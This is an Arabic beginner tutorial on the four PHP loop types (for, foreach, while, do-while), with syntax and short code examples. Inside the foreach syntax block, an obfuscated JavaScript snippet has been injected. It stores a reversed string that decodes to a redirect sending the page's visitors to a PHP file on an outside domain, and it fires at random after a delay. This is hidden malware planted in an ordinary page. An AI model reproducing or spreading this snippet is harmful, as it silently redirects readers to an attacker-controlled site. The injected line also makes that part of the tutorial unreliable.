محمد عكفي

الحلقات (Loops) واستخداماتها في لغة PHP

تستخدم الحلقات في تنفيذ التعليمات البرمجية مرةً أو أكثر . على سبيل المثال، لو أردت أن تطبع كلمة “مرحبا” خمس مرات عندها نستخدم الحلقات والتي سنتعرف على انواعها وكيفية استخدامها .

هنالك أربعة أنواع من الحلقات في PHP هي:


  • حلقة for
  • حلقة while
  • حلقة do-while
  • حلقة foreach

حلقة for:


تستخدم الحلقة For عند معرفة عدد المرات التي يجب أن يعمل بها الكود .

طريقة كتابة الكود :


for (init counter; test counter; increment counter) // بين القوسين يسمى البارامترز 'Parameters'{
     تنفيذ الكود
}

شرح البارامترز ‘Parameters’ :

  • Init : تستخدم عادة لضبط العداد .
  • Condition : الشرط و هو الشرط الذي سيرفق في الحلقة في حال كان الشرط true فإن الحلقة ستكمل الدوران ولكن في حال كان الشرط false ستتوقف الحلقة .
  • Increment : تستخدم عادة لزيادة العداد .

مثال :

حلقة تبدأ من i=0 . ستستمر الحلقة بالدوران طالما أن i هي أصغر أو تساوي 10. سيتم زيادة i بالرقم 1 في كل مرة تدور فيها الحلقة .


<?php

for ($i=0;$i<=10; $i++) {

echo "الرقم هو : $i <br>";
}

?>

loops

حلقة foreach :


هذي الحلقة تشبة for ولكن تستخدم في المصفوفات فقط .

طريقة كتابة الكود :

foreach ($array as $value) {
    code <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to be executed;
}

مثال :

<?php
$color = array("أسود","أحمر","أزرق");
// متغير من نوع مصفوفة سيتم شرحها في الدورس القادمة.
foreach($color as $value) {

echo "$value <br>";
// $value عبارة عن مؤشر يتحرك داخل عناصر المصفوفة من اول عنصر الى اخر عنصر.

}
?>

foreach

حلقة while :


تقوم بتنفيذ التعليمات البرمجية تكرارًا إلى أن يتحقق الشرط، ويتم التحقق من قيمة الشرط قبل كل تكرار.

طريقة كتابة الكود :

while (طالما الشرط صحيحا) {
    يتم تكرار تنفيذ الكود ;
}

مثال، أذا كان 1 اصغر من 5 سيتم تكرار النص :

<?php
$i=1;
while($i<=5) {

  echo " الرقم هو :$i </br>";   //1<=5 لتتكرر الحلقة يجب تحقق الشرط أعلاه
  $i++; // ثم تضاف القيمة إلى العداد
}

?>

while

حلقة do-while :


هذه الحلقة تتحقق من قيمة الشرط بعد أن تنفِّذ العمليات البرمجية، أي أنها تتحقق من الشرط عند تكرار تنفيذ العمليات البرمجية وليس عند تحقق الشرط لأول مرة مثل while وهذا هو الفرق بينها وبين while .

طريقة كتابة الكود :

do {
نفذ الكود;
} while (طالما الشرط صحيحا);

مثال :

<?php
$i=1;
do {
  echo "الرقم هو :$i <br>";
  $i++;
}
  while($i<=5)

?>

dowhile

ملاحظة : في حالة كتابة الشرط أن 1 اكبر من 5 ماذا سيحدث !؟

foreach1

تم طباعة الرقم 1 والسبب تنفيذ الكود مره واحدة فقط قبل حلقة while ولم يتحقق الشرط false .

الخلاصة: الفرق بين while و do-while أن النوع الأول يستلزم بالأساس تحقق الشرط للدخول للحلقة، في حين أن النوع الثاني تنجز الحلقة الأولى ليتبعها التحقق من الشرط. والفرق بين for و while هو أن لكل منهما استعمالاته الخاصة، حيث أن for غالبا تستعمل في حال كانت قيمة العداد معروفة ونهائية، أما while تستعمل في الحالات التي يكون العداد غير محدد ويصعب تحديد مكان توقفه .

Leave a Comment